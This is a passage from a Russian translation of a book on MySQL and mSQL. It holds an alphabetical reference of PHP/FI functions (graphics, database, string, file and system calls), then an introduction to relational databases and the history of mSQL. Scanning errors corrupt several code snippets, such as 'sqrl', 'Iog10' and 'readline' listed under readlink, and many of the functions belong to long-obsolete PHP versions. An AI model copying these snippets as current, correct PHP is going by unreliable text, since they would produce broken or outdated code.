    Копирует прямоугольную область из изображения src_image в изображение dest_image , изменяя размер, если это необходимо. Аргументы dest_x и dest_y являются координатами левой верхней вершины прямоугольника в принимающем изображении, a dest_height и dest_width - его высотой и шириной. Аргументы src_x, src_y,' src_width, и src_heigth являются соответствующими значениями для изображения-источника.

    imagecreate

    $image = imagecreate($width, $height);

    Возвращает идентификатор изображения, указывающий на новое изображение с заданными размерами.

    imagecreatefromgif

    $image = imagecreatefromgif($filename);

    Возвращает идентификатор изображения, указывающий на изображение в заданном файле filename .

    imagedestroy

    imagedestroy($image);

    Освобождает все ресурсы, занятые image.

    imagefill

    imagefill($image, $х, $у, $color);

    Выполняет заливку изображения image цветом color, начиная с точки (х,у).

    imagefilledpolygon

    imagefilledpolygon($image, $points_array, $num_points, $color);

    Создает многоугольник в image, заполненный цветом color. Второй аргумент является массивом вершин многоугольника. Первые два элемента - это значения х и у первой вершины. Следующие два элемента— координаты следующей вершины и т. д. Третий аргумент указывает на число вершин многоугольника.

    imagefilledrectangle

    imagefilledrectangle($image, $х1, $у1, $х2, $у2, $color);

    Создает прямоугольник в image, заполненный цветом color. Аргументы х1 и у1 образуют верхнюю левую вершину прямоугольника, а х2 и у2 — правую нижнюю.

    imagefilltoborder

    imagefilltoborder($image, $x, $y, $border, $color);

    Функция идентична imagefill за исключением того, что заливка цветом прекращается там, где встречается цвет border.

    imagegif

    imagegif($image);

    imagegif($image, $filename);

    Выводит изображение image как рисунок GIF. Если указан второй аргумент, рисунок GIF будет записан в этот файл, иначе он будет направлен прямо в броузер.


    imageinterlace

    imageinterlace($image, $interlace);

    Функция переключает бит чередования для изображения image на значение interlace , которое может быть равно 1 (включить) или 0 (выключить).

    imageline

    imageline($iraage, $х1, $у1, $х2, $у2, $color);

    Создает линию указанного в color цвета от точки (х1, у2) до точки (х2, у2) в изображении image.

    imagepolygon

    imagepolygon($image, $points, $numpoints, $color);

    Функция идентична imagef illedpolygon за исключением того, что многоугольник не заполняется.

    imagerectangle

    imagerectangle($image, $х1, $у1, $х2, $у2, $color);

    Функция идентична imagefilledrectangle за исключением того, что прямоугольник не заполняется.

    imagesetpixel

    imagesetpixel($image, $x, $y, $color);

    Рисует точку в изображении image в позиции (х, у) цветом, указанным в color.

    imagestring

    imagestring($image, $size, $x, $y, $string, $color);

    Функция идентична imagechar за исключением того, что она выводит всю строку string.

    imagestring up

    imagestringup($image, Ssize, $x, $y, $string, $color);

    Функция идентична imagecharup за исключением того, что она выводит всю строку string.

    imagesx

    $x_size = imagesx($image);

    Возвращает ширину в пикселах изображения, указанного в image.

    imagesy

    $y_size = imagesy($image);

    Возвращает высоту изображения в пикселах.

    include

    include($filename);

    Вставляет файл, указанный в filename , в текущую страницу. Выполняется полный синтаксический PHP-анализ подключаемого файла. В поисках файла filename просматривается каждый из каталогов, указанных в переменной окружения PHP_INCLUDE_ PATH.

    initsyslog

    initsyslog();

    Подготавливает систему к регистрации событий с помощью syslog. После вызова этой функции вы можете использовать syslog для записи в журнал.

    intval

    $integer = intval($variable);

    Возвращает содержимое variable в виде целого числа.

    isset

    $defined = isset($variable);

    Возвращает 1, если переменная variable определена, иначе вернет 0.

    key

    $key = key($array);


    Возвращает ключ текущего элемента массива array. Для ассоциативного массива возвращает имя ключа. Для обычного массива возвращает номер элемента.

    link

    link($target, $filename);

    Создает жесткую ссылку от filename к target.

    linkinfo

    $info = linkinfo($filename);

    Возвращает истинное значение, если ссылка, указанная в filename , существует (но не обязательно существует файл, на который указывает ссылка). В случае ошибки функция возвращает —1.

    log

    $result = log($number);

    Возвращает натуральный логарифм аргумента number.

    log10

    $result = Iog10($number);

    Возвращает логарифм по основанию 10 аргумента number.

    logas

    logas($filename);

    Регистрирует посещение текущей страницы как посещение указанного filename вместо файлового имени страницы.

    mail

    mail($to, $subject, $message);

    mail($to, $subject, $message, $headers);

    Посылает электронное письмо по адресу, указанному в параметре to, с темой, указанной в параметре subject, и поместит в тело письма значение аргумента message . Если указан четвертый аргумент, он добавляется к заголовку письма.

    max

    $maximum = max($array);

    Возвращает максимальное значение в массиве array. Если это строковый массив, функция возвращает элемент, последний по алфавиту.

    md5

    $hash = md5($string);

    Возвращает хэш (MD5) строки string .

    microtime

    $ms = microtime();

    Возвращает строку, содержащую часть текущей секунды (в виде десятичной дроби), за которой следует стандартное время Unix.

    min

    $minimum = min($array);

    Возвращает минимальное значение в массиве array. Если это строковый массив, функция вернет элемент, который был бы первым по алфавиту.

    mkdir

    mkdir($directory, $mode);

    Создает каталог directory с указанным режимом mode, mode должно быть восьмеричным значением.

    mktime

    $time = mktime($hour,$minute,$second,$month,$day, Syear);

    Возвращает время в стандартном формате времени Unix, основываясь на заданных аргументах. Если указано менее шести параметров, параметры справа считаются соответствующими текущему значению времени (например, если дано четыре параметра, используются текущий день и год).


    msql mysql

    $result = msql($database, $query);

    $result = mysql($database, $query);

    Посылает запрос query базе данных mSQL/MySQL, указанной в аргументе database. Для не SELECT-запросов функция возвращает 0 для mSQL 1.x и MySQL, а для mSQL 2.x возвращает число измененных записей. Для запроса SELECT функция возвращает идентификатор результата, который может быть использован в других функциях msql_ *. В случае ошибки функция вернет -1.

    my sql_af f ected_ro ws

    $num_rows = mysql_affected_rows();

    Возвращает число записей, измененных последней из команд INSERT, UPDATE или DELETE.

    msql_close mysql_close

    msql_close(); mysql_close();

    Закрывает подключение к серверу базы данных mSQL/MySQL.

    msql_connect mysql_connect

    msql_connect($hostname);

    mysql_connect($hostname);

    mysql_connect($hostname, Susername);

    mysql_connect($hostname, $username, Spassword);

    Создает соединение с сервером базы данных mSQL/MySQL на указанном хосте hostname. Подключение к серверу на локальном хосте осуществляется с помощью m(y)sql_connect("localhost"). Если при первом вызове m(y)sql нет подключения к базе данных, подключение к локальному хосту создается автоматически. Для MySQL может быть указан необязательный аргумент username или комбинация username/ password. Если PHP запущен в расширенном режиме безопасности (называемом SAFE MODE), username должен принадлежать либо владельцу HTML-документа, либо владельцу процесса веб-сервера.

    msql_createdb mysql_createdb

    msql_createdb($database); mysql_createdb($database);

    Создает указанную базу данных.

    msql_dbname mysql_dbname

    $db = msql_dbname($result, $i);

    $db = mysql_dbname($result, $i);

    Вернет имя базы данных, хранящееся в i-том поле результата, возвращенного функцией m(y)sql_listdbs .

    msql_dropdb mysql_dropdb

    msql_dropdb($database);

    mysql_dropdb($database);

    Удаляет базу данных database и все ее таблицы.

    msqHieldflags mysql_fieldflags

    $flags = msql_fieldflags($result, $i);

    $flags = mysql_fieldflags($result, $i);


    Возвращает флаги для в i-того поля в result. Возвращаемое значение может быть одним из следующих: "primary key", "not null", "not null primary key" или << >>.

    msql_fieldlen mysql_fieldlen

    $length = msql_fieldlen($result, $i);

    $length = mysql_fieldlen($result, $i);

    Возвращает длину i-го поля в result.

    msql_fieldname mysql_fieldname

    $name = msql_fieldname($result, $i);

    $name = mysql_fieldname($result, $i);

    Возвращает имя столбца i-го поля в result .-

    msql_fieldtype mysql_fieldtype

    $type = msql_fieldtype($result, $i);

    $type = mysql_fieldtype($result, $i);

    Возвращает тип i-го поля в result (то есть "char", "real" и т. д.).

    msql_freeresult mysql_freeresult

    msql_freeresult($result);

    mysql_freeresult($result);

    Освобождает память, связанную с результатом работы mSQL/MySQL. Вся память автоматически освобождается по завершении скрипта, поэтому используйте эту функцию, только если ваш скрипт занимает слишком много памяти.

    mysql_insertjd

    $id_num = mysql_insert_id();

    Возвращает идентификационный номер, использовавшийся при последней команде INSERT, содержавшей поле auto_increment.

    msql_listdbs mysql_listdbs

    $result = msql_listdbs();

    $result = mysql_listdbs();

    Возвращает указатель на результат, содержащий список имен всех баз данных, доступных на сервере mSQL/MySQL. Функция m(y)sql_dbname может выбирать значения из этого указателя.

    msql_listfields mysql_listfields

    $result = msql_listfields($database, $table);

    $result = mysqllistfields($database, $table);

    Вернет указатель на результат, дающий информацию о полях таблицы table в назначенной базе данных. Функции m(y)sql_fieldflags , m(y)sql_fieldlen , m(y)sql_fieldname и m(y)sql_ fieldtype могут выбирать значения из этого указателя.

    msql_isttables mysql_listtables

    $result = msql_listtables($database);

    $result = mysql_listtables($database);

    Возвращает указатель на результат, содержащий имена всех таблиц базы данных database . Функция m(y)sql_tablename может выбирать значения из этого указателя.


    msql_numfields mysql_numfields

    $num_fields = msql_numfields($result);

    $nuni_fields = mysql_numfields($result);

    Возвращает число полей в result.

    msql_nurn rows msql_numrows

    $num_rows = msql_numrows($result);

    $num_rows = mysql_numrows($result);_

    Возвращает количество записей в result.

    msql_regcase

    $new_string = msql_regcase($string);

    Возвращает копию строки string, преобразованную в регулярное выражение, необходимое для выполнения поиска не зависящих от регистра совпадений в запросе mSQL.

    msql_result mysql_result

    $result_string = msql_result($result, $i, $field);

    $result_string = mysql_result($result, $1, $field);

    Данная функция возвращает значение из указанного поля field 1-й записи набора result. Аргумент field - это имя столбца, и он может быть указан как table, field для результирующих наборов, использующих соединения таблиц. В аргумент field допускается включение любой внутренней функции MySQL, которая может обрабатывать результаты SELECT, например, mysql_result ($result, $i, "length($field)") .

    msqljtablename mysql_tablename

    $name = msql_tablename($result, $i);

    $name = mysql_tablename($result, $i);

    Вернет имя таблицы, хранящееся в i-м поле результата, возвращенного функцией m(y)sql_listtables .

    next

    next($array);

    Перемещает указатель массива array на следующий элемент и возвращает текущий.

    octdec

    $decimal = octdec($octal);

    Возвращает десятичный эквивалент восьмеричного аргумента octal.

    opendir

    opendir($directory);

    Открывает указанный каталог для использования с функцией readdir. Вы должны закрыть каталог с помощью closedir после работы с ним.

    openlog

    openlog($ident, $options, $facllity);

    Открывает для записи системный журнал. Эту функцию необходимо вызывать после initlog и до первого вызова syslog . Аргументы те же, что и при вызове системной функции Unix openlog . Значение ident предваряет каждую запись журнала и обычно является именем программы. Значение options может быть одним из следующих: LOG_CONS (выводить журнал на консоль, если произошла ошибка в стандартной процедуре); LOG_NDELAY (открыть журнал немедленно вместо ожидания первой записи журнала); LOG_PERROR (записывать также в stderr); LOG_PID (включать идентификатор процесса (PID) в каждую запись журнала). Можно комбинировать эти параметры с помощью побитового ИЛИ (например (LOG_DELAY | LOG_PERROR LOG_PID)). Facility - это один из установленных системой уровней журнализации (например, LOG_SYSLOG, LOG_USER, LOG_KERN и т. д.).


    ord

    $number = ord($character);

    Возвращает ASCII-значение символа character.

    parse_str

    parse_str($string);

    Разбирает строку URL в формате "переменная 1=значение1 &переменная2=значение2" и инициализирует переменные, присваивая им соответствующие значения. Программа РНР выполняет эту функцию автоматически для приходящих из форм данных в начале каждого скрипта.

    passthru

    passthru($command);

    passthru($command, $returevalue);

    Выполняет внешнюю команду command и выдает все результаты ее выполнения непосредственно броузеру. Если указан второй аргумент, туда помещается возвращаемое значение.

    pclose

    pclose($fd);

    Закрывает канал, открытый функцией рореп.

    phpinfo

    phpinfo();

    Печатает информационную страницу, полезную при отладке установки РНР. Это та же страница, которая печатается при добавлении "?info" к любому РНР URL, или если вы обращаетесь непосредственно к двоичным файлам РНР (то есть, http://www.myserver.com/cgi-bin/php).

    phpversion

    $version = phpversion();

    Возвращает номер версии текущего запущенного РНР.

    popen

    $fd = popen($command, $mode);

    Запускает внешнюю команду command и либо посылает ей данные (если установлен режим записи: mode = "w"), либо читает данные из команды (если в mode указать "r"). Любой файловый дескриптор, открытый таким образом, должен быть закрыт функцией pclose.

    pos

    $position = pos($array['element']);

    Возвращает число - позицию указанного элемента ' element' в ассоциативном массиве а г ray.

    pow

    $result = pow($x, $y);

    Возвращает х, возведенное в степень у.

    prev

    Selement = prev($array);

    Перемещает внутренний указатель массива а г ray на предыдущий элемент и возвращает его.

    putenv

    putenv($string);

    Помещает заданную строку string в окружение. Обратите внимание, что локальная среда окружения уничтожается по окончании выполнения скрипта, поэтому эта функция полезна только при вызове внешних программ из скрипта.

    quote met a

    $quoted_string = quotemeta($string);


    Возвращает строку string, в которой все специальные символы экранированы таким образом, что ее можно безопасно использовать в регулярных выражениях.

    rand

    $number = rand();

    Возвращает случайное число в диапазоне от 0 и до числа RANDMAX, определяемого системой. Вы должны указать начальное число генератору случайных чисел, используя srand в начале вашего скрипта. Сделать это необходимо только один раз.

    readdir

    $file = readdir();

    Возвращает следующий элемент из текущего открытого каталога и сдвигает указатель каталога. Новые обращения к этой функции будут возвращать следующие элементы каталога до тех пор, пока записи об элементах каталога не закончатся.

    readfile

    $filesize = readfile($filename);

    Выдает содержимое файла filename непосредственно броузеру и возвращает размер файла. Эту функцию можно спокойно выполнять с двоичными файлами, такими как файлы изображений.

    readlink

    $filename = readline($link);

    Возвращает путь к настоящему файлу, на который ссылается link. В случае ошибки функция вернет -1.

    reg_match

    $result = reg_match($expression, $string);

    $result = reg_match($expression, $string, $array);

    Функция идентична ereg. Она поддерживается только для обратной совместимости с предыдущими версиями РНР.

    reg_replace

    reg_replace($expression, $replacement, $string);

    Идентична ereg_replace. Эта функция поддерживается только для обратной совместимости с предыдущими версиями РНР.

    reg_search

    $partial_string = reg_search($expression, $string);

    $partial_string = reg_search($expression, $string, $array);

    Функция идентична ereg за исключением того, что она возвращает часть строки string , оставшуюся после первого совпадения. Если совпадения не обнаружено, функция возвращает пустую строку. Эта функция поддерживается только для обратной совместимости с предыдущими версиями РНР.

    rename

    rename($oldfile, $newfile);

    Переименовывает oldfile в newfile .

    reset

    reset($array);

    Перемещает внутренний указатель массива array на первый элемент и возвращает этот элемент.


    return

    return($value);

    Выходит из пользовательской функции и возвращает значение value.

    rewind

    rewind($fd);

    Устанавливает указатель файла f d в начало файла.

    rewinddir

    rewinddir();

    Передвигает указатель текущего каталога на начало каталога.

    rmdir

    rmdir($directory);

    Удаляет каталог directory , если он пуст.

    rsort

    $sorted_array = rsort($array)

    Возвращает отсортированную в порядке убывания копию ассоциативного массива array. Если первый элемент массива является числом, возвращаемый массив будет отсортирован по порядку, иначе он будет отсортирован по алфавиту.

    setcookie

    setcookie($name);

    setcookie($name, $value, $expire, $path, $domain, $secure);

    Посылает броузеру cookie с указанными атрибутами. Если задано только имя name, cookie с таким именем будет удален из броузера. Для пропуска одного из аргументов он может быть заменен на "" (или на 0 в случае с expire и secure).

    seterrorreporting

    seterrorreporting($value);

    Если значение value равно 0, выдача сообщений об ошибках отключается, иначе все сообщения выводятся в обычном режиме.

    setlogging

    setlogging($value);

    Если значение value является ненулевым, журнализация доступа к текущей странице будет разрешена, иначе - запрещена.

    setshowinfo

    setshowinfo($value);

    Если значение value не нулевое, внизу страницы будет напечатан информационный нижний колонтитул.

    settype

    settype($variable, $type);

    Устанавливает тип переменной variable в тип type, который может быть integer, double или string .

    shl

    $value = shl($number, $b);

    Возвращает значение number, сдвинутое влево на заданное в b число бит.

    shr

    $value = shr($number, $b);

    Возвращает значение number, сдвинутое вправо на заданное в b число бит.

    sin

    $value = sin($number);

    Возвращает синус аргумента number (в радианах).

    sleep

    sleep($seconds);

    Останавливает обработку страницы на указанное количество секунд.

    sort

    $sorted_array = sort($array)

    Возвращает отсортированную в порядке возрастания копию неассоциативного массива array. Если первый элемент массива является числом, возвращаемый массив будет отсортирован по порядку, иначе он будет отсортирован по алфавиту.


    soundex

    $soundex_key =soundex($string);

    Возвращает ключ soundex строки string .

    sprintf

    $string = sprintf($format, $arg, [$arg, $arg, ...]);

    Возвращает форматированную строку format, в который каждый индикатор переменной в стиле С printf заменяется соответствующим значением arg. Можно указать до 5 аргументов.

    sqrt

    $value = sqrl($number);

    Возвращает квадратный корень числа number.

    srand

    srand($integer);

    Инициализирует генератор случайных чисел целочисленным аргументом integer. Эту функцию необходимо вызвать один (и только один) раз в начале любого скрипта, в котором вы используете функцию rand.

    strchr strstr

    $substring = strchr($string, $value);

    $substring = strstr($string, $value); .

    Возвращает часть строки string после первого обнаружения символа value в строке, strchr и strstr - идентичные функции, и включены обе для полноты.

    strtr

    strtr($string, $set1, $set2);

    Все символы в строке string, которые входят в набор setl, функция преобразует в соответствующие символы в наборе set2. Если set1 длиннее set2, последний символ из set2 используется для "лишних" символов из set1. Если set2 длиннее set1, "лишние" символы из set2 игнорируются.

    stripslashes

    $plain_string = stripslashes($escaped_string);

    Удаляет все управляющие символы из строки escaped_string .

    strlen

    $length = strlen($string);

    Возвращает длину строки string .

    strrchr

    $substring = strrchr($string, $character);

    Просматривает с конца строку string в поисках указанного символа. Функция возвращает часть строки, начиная с места, где был найден искомый символ character. Если символ не обнаружен, возвращается пустая строка.

    strtok

    $substring = strtok($string, $characters);

    $substring = strtok($characters);

    Разделяет строку string на подстроки, используя в качестве разделителя любой символ, указанный в characters . После первого вызова strtok не указывайте строковый аргумент в последующих вызовах, в этом случае функция вернет каждую удачно выделенную подстроку, пока не будет достигнут конец string .


    strtolower

    $lc_string = strtolower($string);

    Возвращает string , где все символы преобразованы в символы нижнего регистра.

    strtoupper

    $uc_string = strtoupper($string);

    Возвращает string , где все символы преобразованы в символы верхнего регистра.

    strval

    $string = strval($variable);

    Возвращает переменную variable в виде строкового значения.

    substr

    $substring = substr($string, $start, Slength);

    Возвращает часть строки string , которая начинается с позиции start (0 является первым символом) и имеет длину в length символов.

    symlink

    symlink($target, $filename);

    Создает символическую связь (ссылку) от filename к target.

    syslog

    syslog($level, $message);

    Записывает сообщение message в системный журнал с уровнем level.

    system

    $results = system($command);

    $results = system($command, $return_value);

    Выполняет указанную внешнюю команду command и возвращает все результаты. Если задан второй аргумент, туда записывается возвращаемое значение (код возврата) команды.

    tan

    $value = tan($number);

    Возвращает тангенс аргумента number (в радианах).

    tempnam

    $filename = tempnam($path, $prefix);

    Возвращает имя файла с префиксом prefix, который будет уникальным в каталоге, указанном в path.

    time

    $time = time();

    Возвращает текущее время в стандартном формате времени Unix (число секунд после 1 января 1970 года).

    umask

    $umask = umask();

    umask($umask);

    Возвращает текущую маску umask, если аргумент не указан. Если аргумент umask указан, устанавливает umask в указанное значение (которое должно быть восьмеричным числом).

    uniqid

    $result = uniqid();

    Возвращает значение, уникальность которого по отношению к другим значениям, возвращаемым повторными вызовами этой функции, гарантирована.

    unlink

    unlink($filename);

    Удаляет указанный файл.

    unset

    unset($variable);

    Сбрасывает значение указанной переменной, которая может быть элементом массива. При применении данной функции к массиву удаляется весь массив.

    urldecode

    $decoded_string = urldecode($string);

    Возвращает копию строки string, в которой все экранированные спецсимволы URL раскодируются в их значения. Это делается автоматически для всех входящих данных.

    urlencode

    $encoded_string = urlencode($string);

    Возвращает копию строки string, в которой все спецсимволы закодированы для использования в URL.

    usleep

    usleep($ms);

    Задерживет синтаксический анализ скрипта на заданное в ms число микросекунд.

    virtual

    virtual($filename);

    Подключает файл filename точно так же, как в обычном файле HTML это делает тег MySQL & mSQL

    MySQL & mSQL

    Что такое база данных?

    База данных - это, попросту говоря, собрание данных. Примером неэлектронной базы данных является общественная библиотека. В библиотеке хранятся книги, периодические издания и прочие документы. Когда нужно отыскать в библиотеке какие-либо данные, вы просматриваете каталог либо указатель периодики или даже справляетесь у библиотекаря. Другой пример - неупорядоченная стопка бумаг, которая может находиться у вас на столе. Когда нужно что-то найти, вы роетесь в этой кипе, пока не найдете нужный листок. Эта база данных может работать (или нет), поскольку ее размер крайне мал. Стопка бумаг, несомненно, будет неэффективна для большого объема данных, такого, например, как библиотечное собрание. Библиотека без картотеки, индекса периодики и библиотекаря останется базой данных, только ей нельзя будет пользоваться. Поэтому, чтобы библиотека имела какую-то ценность, она должна быть организована каким-либо способом. Вашей стопкой бумаг можно было бы пользоваться более уверенно при наличии упорядоченной системы их хранения (тогда, возможно, вы не потеряли бы тот телефонный номер!). Поэтому, уточняя наше определение, мы скажем, что база данных - организованное собрание данных.

    У библиотеки и стопки бумаг много сходства. Та и другая являются базами данных, состоящими из документов. Нет никакого смысла, однако, соединять их вместе, поскольку ваши документы интересны только вам, а библиотека содержит документы, представляющие общий интерес. Каждая из баз данных отвечает определенному назначению и организована в соответствии с этим назначением. Поэтому мы еще несколько улучшим наше определение: база данных есть собрание данных, которые организованы и хранятся в соответствии с некоторым назначением.

    У традиционных бумажных баз данных много недостатков. Им требуется огромное физическое пространство. Библиотеки занимают целые

    здания, и поиск в них осуществляется относительно медленно. Каждый работавший в библиотеке знает, что для поиска порой требуется немало времени. Библиотеки также утомительно содержать в порядке, и для поддержания соответствия содержимого полок и каталогов требуется чрезмерно много времени. Хранение базы данных в электронном виде помогает решать эти вопросы.

    MySQL и mSQL не являются базами данных. Фактически они являются компьютерными программами, позволяющими пользователю создавать, поддерживать базы данных и управлять ими. Такой тип программного обеспечения известен как Системы управления базами данных (СУБД). СУБД действует как посредник между физической базой данных и ее пользователями.

    Когда вы впервые начинали работать с данными в электронной форме, вы почти наверняка использовали плоский файл. Файл файловой системы является электронной версией стопки бумаг на вашем столе. Вероятно, вы пришли к заключению, что этот тип специальной электронной базы больше не отвечает вашим потребностям. СУБД является следующим логическим шагом для удовлетворения ваших потребностей при хранении информации, и MySQL и mSQL являются первыми шагами в мир систем управления реляционными базами данных.



    Что такое реляционная база данных?

    Согласно нашему определению, база данных является организованным собранием данных. Реляционная база данных организует данные в таблицы. Вероятно, проще проиллюстрировать понятие таблицы, чем пытаться объяснить его. Таблица 1-1 является примером таблицы, которая может появиться в базе данных по книгам.

    Таблица 1-1. Таблица книг



    ISBN


    Название


    Автор


    0-446-67424-9
    0-201-54239-Х
    0-87685-086-7
    0-941423-38-7


    L.A. Confidential
    An Introduction to Database Systems
    Post Office
    The Man with the Golden Arm


    James Ellroy
    C.J. Date
    Charles Bukowski
    Nelson Algren


    В таблице 1-2 и таблице 1-3 показаны две таблицы, которые могут появиться в базе данных Национальной Баскетбольной Ассоциации.

    Таблица 1-2. Таблица команд НБА



    № команды


    Название


    Тренер


    1


    Golden State Warriors


    P.J. Carlesimo


    2


    Minnesota Timberwolves


    Flip Saunders


    3


    L.A. Lakers


    Kurt Rambis


    4


    Indiana Pacers


    Larry Bird



    Таблица 1-3. Таблица игроков НБА



    Имя


    Положение


    № команды


    Rik Smits


    Центровой


    4


    Kevin Garnett


    Нападающий


    2


    Kobe Bryant


    Защитник


    3


    Reggie Miller


    Защитник


    4


    Stephen Marbury


    Защитник


    2


    Shaquille O'Neal


    Центровой


    3


    Позже мы разберемся в специфике таблиц, а пока обратите внимание на некоторые особенности этих примеров. У каждой таблицы есть название, несколько колонок и строки, содержащие данные в каждой из этих колонок. Реляционная база данных представляет все ваши данные в таких таблицах, как эти, и обеспечивает операции извлечения, генерирующие новые таблицы из уже имеющихся. В результате пользователь видит всю базу данных в виде таблиц.

    СУБД для реляционной базы данных часто называется Реляционной системой управления базами данных (РСУБД). MySQL и mSQL являются примерами РСУБД.

    Какое отношение ко всему этому имеет SQL? Нам необходимо иметь некий способ взаимодействия с базой данных. Нужно определять таблицы, а также извлекать, добавлять, обновлять и удалять данные. SQL (Structured Query Language - язык структурированных запросов) является компьютерным языком, используемым для выражения операций с базой данных, организованной в реляционной форме (то есть в виде таблиц). SQL является принятым в отрасли стандартом языка, на котором говорит большинство программистов баз данных и который используется большинством пакетов РСУБД. Как следует из их названий, механизм работы с MySQL и mSQL основан на SQL. Из-за своей простоты, однако, они поддерживают лишь подмножество современного стандарта SQL - SQL2. Мы обсудим, в чем именно состоит отличие поддерживаемого MySQL и mSQL диалекта SQL от стандарта, в последующих главах.



    в течение многих лет используют

    Введение в реляционные базы данных


    Большие корпоративные вычислительные центры в течение многих лет используют сложные и дорогие программные продукты для работы с базами данных. Использование этих обладающих полным набором возможностей и тщательно оптимизированных программных систем является единственным способом управления теми объемами корпоративной информации, которые существуют в больших компаниях.

    Традиционно пользователи домашних компьютеров вообще не нуждались в базах данных. Они хранят свои данные - адреса, списки дел и т. д. - в маленьких файлах или специализированных покупных программах, вроде электронных таблиц или телефонных справочников.

    Но появилась новая категория пользователей компьютеров, находящихся между двумя этими крайностями. Они поддерживают информационные массивы средних размеров, которые требуются в небольших организациях, таких как вновь образовавшиеся предприятия и некоммерческие организации. Иногда эти пользователи не столько малы, сколько являются территориально самостоятельными частями более крупной компании, либо этими новыми пользователями являются просто частные лица, заинтересованные в поддержке сложных, но частных данных, таких, например, как перечень песен любимых ансамблей, который можно выложить на персональную страницу в Интернет. Если вы тот человек, которому нужна база данных, готовый немного потрудиться, чтобы установить ее, и не хотите тратить шестизначные суммы на программный продукт вкупе с отрядом поддерживающих его программистов, то эта книга - для вас.

    Эта книга вводит вас в мир разработки малых баз данных с помощью двух популярных продуктов, MySQL и mSQL. Мы начнем с введения в реляционные базы данных и проектирование приложений в реляцион-

    ном мире. Если у вас есть опыт работы с реляционными базами данных и их проектированием, вы можете сразу перейти к главе 4, "MySQL" или главе 5, "mSQL", где мы углубляемся в детали практической работы с MySQL и mSQL. Но, если вы собираетесь это сделать, обратите внимание, что в конце данной главы мы приводим краткое введение и сравнение основных возможностей этих продуктов. В оставшейся части книги в основном излагается применение MySQL и mSQL для создания и поддержки того типа приложений, которые важны для таких пользователей, как вы.



    MySQL и mSQL

    MySQL и mSQL - очень схожие, дешевые, компактные и быстрые базы данных. В этой книге описаны обе эти базы данных, что связано с их крайним сходством. Однако между ними есть и очень важные различия, о которых мы также обязательно расскажем. Обе системы поддерживают программирование на С, Perl, Java (через API Java DataBase Connectivity - JDBC) и Python. Благодаря инструментальным средствам, которые MySQL и mSQL предоставляют для этих языков, можно создавать полноценные клиент-серверные приложения и интегрированные с базами данных веб-сайты, не тратя на это состояния. Это приятное известие для маленьких фирм, публикующих данные в Интернет, и всех тех, кто разрабатывает небольшие клиент-серверные приложения и не может позволить себе приобрести коммерческие продукты.

    Дешевизна, а в некоторых случаях бесплатность, MySQL и mSQL не дается даром. Ни одна из этих СУБД полностью не поддерживает SQL. В них отсутствуют некоторые возможности, которые могут понадобиться при создании более сложных приложений. В некоторых случаях приходится также несколько больше потрудиться, разрабатывая клиентскую часть, чтобы достичь того, что дорогие базы данных предоставили бы вам даром. Однако мы научим вас, как делать переносимые приложения MySQL и mSQL, чтобы вы попробовали использовать какие-либо базы данных с более мощными внутренними механизмами, если это вам понадобится, и вам не пришлось бы переписывать весь код, чтобы перейти на большую базу данных. Для понимания того, что же могут предложить эти две СУБД, лучше всего кратко рассмотреть их историю.

    История mSQL

    До 1994 года вам не удалось бы обзавестись РСУБД с поддержкой SQL, не потратив при этом изрядной суммы денег. На рынке тогда доминировали Oracle, Sybase и Informix. Эти системы управления базами данных были разработаны для обработки огромных объемов данных с очень сложными взаимосвязями. Они были мощными, обладали множеством возможностей, а также требовали больших вычислительных ресурсов и были дороги. В те времена еще нельзя было за $2000 купить сервер с 200-MHz Pentium. Ресурсы, требуемые для этих СУБД, стоили десятки тысяч долларов.


    У больших корпораций и крупных университетов не возникало проблем с тем, чтобы потратить за год несколько миллионов долларов на такие комплекты серверов и СУБД. Малым организациям и частным пользователям приходилось довольствоваться слабыми настольными приложениями. Несколько дешевых СУБД с архитектурой клиент/ сервер в то время существовало, но ни в одной из них не использовался SQL в качестве языка запросов. Наиболее примечательной из них была Postgres, имевшая общее происхождение с коммерческой базой данных Ingres. К несчастью, Postgres требовала примерно тех же ресурсов, что и ее коммерческие аналоги, не давая преимущества использования SQL в качестве языка запросов. В то время в Postgres использовалась разновидность языка QUEL, называвшаяся PostQUEL.

    Дэвид Хьюз

    Часть диссертации, которую Давид Хьюз (David Hughes) (известный также как Bamby) писал в Университете Бонд в Австралии, была посвящена разработке системы мониторинга и управления группой систем из одного или нескольких мест. Проект носил название Minerva Network Management System. Главным элементом Minerva была база данных для хранения данных обо всех компьютерах в сети. Будучи студентом университета и не имея доступа к серверам, на которых работали большие коммерческие базы данных, Хьюз решил, что Postgres - это очевидное решение, вполне отвечающее его потребностям.

    Его коллеги предложили сделать SQL стандартным языком запросов для Minerva. В конце концов, SQL был и остается самым общепринятым стандартом языка запросов. Основываясь на SQL, Minerva могла бы использоваться в любой точке света, где установлена поддерживающая SQL СУБД. Иными словами, SQL предоставлял возможности Minerva гораздо более широкому кругу пользователей, нежели PostQUEL, ограничивавший его пользователями Postgres. В конечном итоге оказалось, что сегодня даже Postgres поддерживает SQL.

    Желание пользоваться стандартом SQL, с одной стороны, и отсутствие доступа к базе данных, поддерживающей SQL, - с другой, поставили Хьюза в трудное положение. Если использовать в Minerva язык запросов, основанный на SQL, то не удастся найти СУБД с соответствующим механизмом работы. Не имея возможности приобрести дорогую РСУБД, Хьюз нашел творческое решение проблемы: выход в том, чтобы создать программу, "на лету" транслирующую запросы SQL в запросы PostQUEL. Такая программа должна была перехватывать все


    посылаемые Minerva предложения SQL, преобразовывать их в PostQUEL и результат пересылать дальше в Postgres. Хьюз написал такую программу и назвал ее miniSQL, или mSQL.

    От транслятора PostQUEL к РСУБД

    В течение некоторого времени такая конфигурация удовлетворяла потребности Хьюза. Для Minerva было безразлично, какая СУБД используется, если только она понимает SQL, и она считала, что Postgres понимает SQL, поскольку в середине находился mSQL, производивший трансляцию в PostQUEL. К несчастью, по мере роста Minerva ее работа стала значительно замедляться. Стало ясно, что ни Postgres, ни другая большая РСУБД не смогут поддерживать тот небольшой набор возможностей, который требовался для Minerva, на тех ограниченных ресурсах, которые были ей доступны. Например, для Minerva требовалось одновременное подключение к нескольким базам данных. Для поддержки этого Postgres требовал одновременного запуска нескольких экземпляров* сервера базы данных. Кроме того, несколько потенциальных участников проекта не могли принять в нем участие, поскольку Postgres не поддерживал их системы, а они не могли позволить себе купить дорогую СУБД с поддержкой SQL.

    Оказавшись перед лицом этих проблем, Хьюз пересмотрел свое отношение к Postgres. По своим размерам и сложности она, возможно, превышала потребности Minerva. Большинство запросов, генерируемых Minerva, представляли собой простые операторы INSERT, DELETE и SELECT. Все остальные возможности, имевшиеся в Postgres и снижавшие производительность, просто не требовались для Minerva.

